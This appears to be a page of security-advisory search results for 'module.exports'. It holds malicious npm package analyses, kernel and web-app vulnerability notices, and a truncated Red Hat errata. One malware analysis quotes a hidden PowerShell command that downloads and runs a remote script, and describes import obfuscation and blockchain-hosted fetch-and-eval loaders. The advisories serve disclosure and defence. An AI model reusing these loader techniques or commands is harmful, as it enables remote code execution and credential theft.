Search: module.exports

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7) class-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments ["-WindowStyle","Hidden","-NoProfile","-Command",`irm ${URL} -o $env:TEMP\s.js; node $env:TEMP\s.js`] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation (["no","de",":","cry","pto"].join("")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code. ## Source: ghsa-malware (5dec440ede443477635a06cca5ac51d1e9e41996adfd432a326054402ac3e704) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cb3e0cb5c95475ce69c3672be6acfb9283bc6e29a1d7ba7452c922e7dc96a966) On require()/import, index.js runs an IIFE that POSTs a getAccountInfo RPC call to https://api.devnet.solana.com for Solana account 4WF8QCFEnVD7BLs3QAVe2SjxRZ4n3EboCsdhj363VAqZ, base64-decodes the returned account data, reads a length prefix at offset 32, extracts the payload bytes at offset 36, and passes the resulting UTF-8 source to `new Function('require','module','exports', src)` — executing arbitrary JavaScript with the full privileges of the importing Node.js process. The payload is mutable (the attacker can rewrite the on-chain account data at any time), unpinned, not hash- or signature-verified, and delivered from infrastructure the attacker controls. The use of a public blockchain RPC endpoint as a C2 channel is designed to evade simple domain/IP blocking while remaining fully attacker-rewritable. The package name masquerades as a BigInt/filesystem utility; there is no legitimate reason for such a library to fetch and eval remote code on load. ## Source: ghsa-malware (b67cb388cf855ef52b8e274269861017bb7ce33349b187cd41ba2ff553ecb320) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

In the Linux kernel, the following vulnerability has been resolved: NFSD: Hold net reference for the lifetime of /proc/fs/nfs/exports fd The /proc/fs/nfs/exports proc entry is created at module init and persists for the module's lifetime. exports_proc_open() captures the caller's current network namespace and stores its svc_export_cache in seq->private, but takes no reference on the namespace. If the namespace is subsequently torn down (e.g. container destruction after the opener does setns() to a different namespace), nfsd_net_exit() calls nfsd_export_shutdown() which frees the cache. Subsequent reads on the still-open fd dereference the freed cache_detail, walking a freed hash table. Hold a reference on the struct net for the lifetime of the open file descriptor. This prevents nfsd_net_exit() from running -- and thus prevents nfsd_export_shutdown() from freeing the cache -- while any exports fd is open. cache_detail already stores its net pointer (cd->net, set by cache_create_net()), so exports_release() can retrieve it without additional per-file storage.

Glances is an open-source system cross-platform monitoring tool. The GHSA-x46r fix (commit 39161f0) addressed SQL injection in the TimescaleDB export module by converting all SQL operations to use parameterized queries and `psycopg.sql` composable objects. However, the DuckDB export module (`glances/exports/glances_duckdb/__init__.py`) was not included in this fix and contains the same class of vulnerability: table names and column names derived from monitoring statistics are directly interpolated into SQL statements via f-strings. While DuckDB INSERT values already use parameterized queries (`?` placeholders), the DDL construction and table name references do not escape or parameterize identifier names. Version 4.5.3 provides a more complete fix.

UptimeFlare is a serverless uptime monitoring & status page solution, powered by Cloudflare Workers. Prior to commit 377a596, configuration file uptime.config.ts exports both pageConfig (safe for client use) and workerConfig (server-only, contains sensitive data) from the same module. Due to pages/incidents.tsx importing and using workerConfig directly inside client-side component code, the entire workerConfig object was included in the client-side JavaScript bundle served to all visitors. This issue has been patched via commit 377a596.

The npm package 'add-module-exports' version 9.9.0 contains malicious code that installs a dependency from a custom domain which runs an information stealer during installation. This malware targets sensitive tokens related to npm, git, and CI/CD environments. Any system with this package installed should be considered fully compromised, and all secrets and keys stored on that system must be rotated immediately from a different, secure machine.

Red Hat Ansible Automation Platform provides an enterprise framework for building, deploying and managing IT automation at scale. IT Managers can provide top-down guidelines on how automation is applied to individual teams, while automation developers retain the freedom to write tasks that leverage existing knowledge without the overhead. Ansible Automation Platform makes it possible for users across an organization to share, vet, and manage automation content by means of a simple, powerful, and agentless language. Security Fix(es): * automation-controller: Django SQL injection in FilteredRelation column aliases (CVE-2025-57833) * automation-controller: Django Path Injection Vulnerability (CVE-2025-48432) * python3.11-django: Django SQL injection in FilteredRelation column aliases (CVE-2025-57833) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. Updates and fixes included: Automation Platform * Increased gateway control plane authorization performance to reduce or eliminate sporadic request errors (503, 504, 403) (AAP-53468) * Fixed a bug where the gateway does not generate the necessary metadata for the UI to render "Settings" > "Platform Gateway" when the accessing user is an auditor rather than an admin (AAP-53279) * If the GRPC server can not connect to the database it will now return a 503 to envoy instead of a 403 (AAP-51931) * Altered the help text for the setting ALLOW_OAUTH2_FOR_EXTERNAL_USERS (AAP-51886) * Fixed improperly formatted error message in SAML authenticator when passing invalid security settings. The error will now properly show the invalid fields and will also indicate what valid field values are (AAP-51705) * Improved debug logging of authenticator map processing, reasoning and results for clarity (AAP-51639) * Fixed an issue with authenticator maps not properly evaluating attribute 'in' conditions (AAP-51638) * When logging in with SAML authentication, user's groups will be correctly read from configured attribute instead of expecting groups to always be in "Group" attribute (AAP-51503) * Added scrolling to multiselect dialogs to make pagination visible for users (AAP-52209) * Fixed an issue that did not allow a user to save Schedule for Workflow job template when Limit has Prompt on Launch was enabled (AAP-49794) * automation-gateway has been updated to 2.5.20250924 * python3.11-django-ansible-base has been updated to 2.5.20250924 Automation controller * Galaxy credentials can now be created and edited without the need to specify an organization (AAP-52197) * Fixed a path injection vulnerability in Django so that internal HTTP response logging escapes request.path and remote attackers can't manipulate log output via crafted URLs (AAP-51443) * The export command works through the controller collection or with awxkit along when the correct environment variable is provided (AAP-49452) * Fixed double escaped quotes in api/v2/jobs/{id}/stdout/?format=txt (AAP-49077) * The export module in the collection now honors the CONTROLLER_OPTIONAL_API_URLPATTERN_PREFIX environment variable, fixing a bug where exports did not work on deployments using the platform gateway (AAP-39265) * automation-controller has been updated to 4.6.20 Automation hub * Added the GALAXY_API_SPEC_REQUIRE_AUTHENTICATION setting (defaults to false), which restricts access to the OpenAPI specification to authenticated users only (AAP-53578) * automation-hub has been updated to 4.10.8 * python3.11-galaxy-ng has been updated to 4.10.8 Container-based Ansible Automation Platform * Disable IPv6 binding on PostgreSQL and Redis services when IPv6 is disabled on the host (AAP-53546) * Fixed the restore and implemented a migration for the controller resource secret key value (AAP-53535) * Uploading ansible collections to Private Automation Hub isn't limited by the API pagination anymore (AAP-53526) * Execute the create_initial_data EDA command during restore (AAP-53382) * Fix an issue with the Private Automation Hub task name using quotes (AAP-53307) * Fixed a path issue for custom_ca_cert when checking postgres connection and version during preflight (AAP-53213) * Fix PostgreSQL configuration directory creation when TLS is disabled (AAP-52569) * X-Forwarded-For and Real-Ip headers are now added to the Nginx logs (AAP-52562) * containerized installer setup has been updated to 2.5-19 RPM-based Ansible Automation Platform * Fixed an issue where redis_mode=standalone and the Redis group were defined at the same time (AAP-53560) * Fixed an issue with EDA restores where database credentials were not updated for event stream (AAP-53529) * Fixed an issue where redis node list could not be created on EDA/gateway nodes which were not part of the redis group (AAP-53528) * Fixed an issue where backup was failing when the deployment had more than 1 EDA node without eda_node_type defined (AAP-528

A Prototype Pollution issue in flatten-json 1.0.1 allows an attacker to execute arbitrary code via module.exports.unflattenJSON (flatten-json/index.js:42)